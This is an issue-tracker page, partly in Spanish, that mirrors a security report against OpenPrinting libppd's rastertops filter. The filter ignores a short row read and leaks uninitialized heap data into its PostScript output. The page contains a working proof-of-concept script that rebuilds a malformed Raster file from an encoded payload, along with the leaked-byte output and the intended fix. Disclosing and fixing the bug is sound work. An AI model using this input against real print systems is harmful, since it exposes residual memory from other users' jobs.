rastertops: a truncated row leaks residual heap data into PostScript
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 2/5
- Tiempo estimado
- 1-3 horas
- Aptitud para principiantes
- 72/100
Línea de trabajo
Comienza en rastertops.c alrededor de write_flate() en las líneas 270-290 y luego ejecuta reproduce.sh con el poc/document.ras proporcionado. Está hecho cuando una lectura corta de una fila rasterizada se trata como un documento truncado y la parte no leída está ausente del flujo de imagen PostScript generado.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
Summary
ppdFilterRasterToPS() ignores a short raster-row read and compresses the
entire uninitialized row buffer into its PostScript output. A two-page Raster
document whose first page contains a marker and whose second page contains
only a header makes the second page expose allocator data and residual bytes
from the first page.
The document alone reaches the normal standalone rastertops filter. The
confidentiality impact depends on access to the generated PostScript stream.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.ras contains two 64x1 K8 CUPS Raster v3 pages. Page one has a
controlled marker; page two has no pixel body. It is 3,660 bytes with SHA-256
706e6187a4b46ab57b93b56fd3c6c3a52c4052f66c8d7aa7e9ed5f7fbbb8b75b.
Run:
./reproduce.sh
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: rastertops: a truncated row leaks residual heap data into PostScript
# Finding ID: rastertops-truncated-row-heap-disclosure
# Trigger: ppdFilterRasterToPS() ignores a short raster-row read and
# compresses the entire uninitialized row buffer into its PostScript output. A
# two-page Raster document whose first page contains a marker and whose second
# page contains only a header makes the second page expose allocator data and
# residual bytes from the first page.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.ras (3660 bytes)
write_file document.ras 706e6187a4b46ab57b93b56fd3c6c3a52c4052f66c8d7aa7e9ed5f7fbbb8b75b <<'POC_PAYLOAD_0'
H4sIAAAAAAACAwtKDDZmGGAQkJOYmUeBfqecxORsqruKUQeC4cABJEiKAQT0IotxQLEDlM+MxQxG
+wagX4EYRI+CUTAKRsEooA7wcXX01vV1DPJ2DdI1MDQyNjE1M7ewTExKTklNI0ZutA4drUNHwSgY
BaNgpAIAVQd2MkwOAAA=
POC_PAYLOAD_0
Result
Both PostScript image streams decompress to 64 bytes. The first is controlled:
LEAK-MARKER-0123456789abcdef...
The second begins with changing allocator bytes and retains the first page's
tail, for example:
997688b2cf60000000000000000000003435363738396162636465664c45414b...
Repeated runs change the second-page hash while preserving residual marker
fragments.
Cause and expected behavior
write_flate() allocates PixelBuffer at rastertops.c:270, ignores the
return value from cupsRasterReadPixels() at line 271, and then copies and
compresses a complete row at lines 280-290. The second page reuses a heap
chunk whose contents were never replaced by raster data.
The filter must treat any short row as a truncated document, stop the page,
and avoid serializing the unread portion of PixelBuffer.
- Lenguaje dominante
- C
- Estrellas
- 5
- Forks
- 29
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de OpenPrinting/libppd
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
OpenPrinting/libppd#82 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
OpenPrinting/libppd#81 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
OpenPrinting/libppd#79 · 1 comentario ·
-
Dificultad 3/5 1-2 días Aptitud para principiantes 72/100
OpenPrinting/libppd#85 ·
-
Dificultad 4/5 3-5 días Aptitud para principiantes 66/100
OpenPrinting/libppd#84 ·
Todos los issues de OpenPrinting/libppd
Issues similares
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 84/100
-
level/task module/gcp type/bug
Dificultad 2/5 1-3 horas Aptitud para principiantes 85/100
-
Build failure with newer clang Abierto
Dificultad 1/5 Menos de una hora Aptitud para principiantes 86/100
hapostgres/pg_auto_failover#1190 ·
-
docs
Dificultad 1/5 Menos de una hora Aptitud para principiantes 85/100
-
P3 sonic-vpp
Dificultad 2/5 1-3 horas Aptitud para principiantes 88/100
sonic-net/sonic-buildimage#29662 ·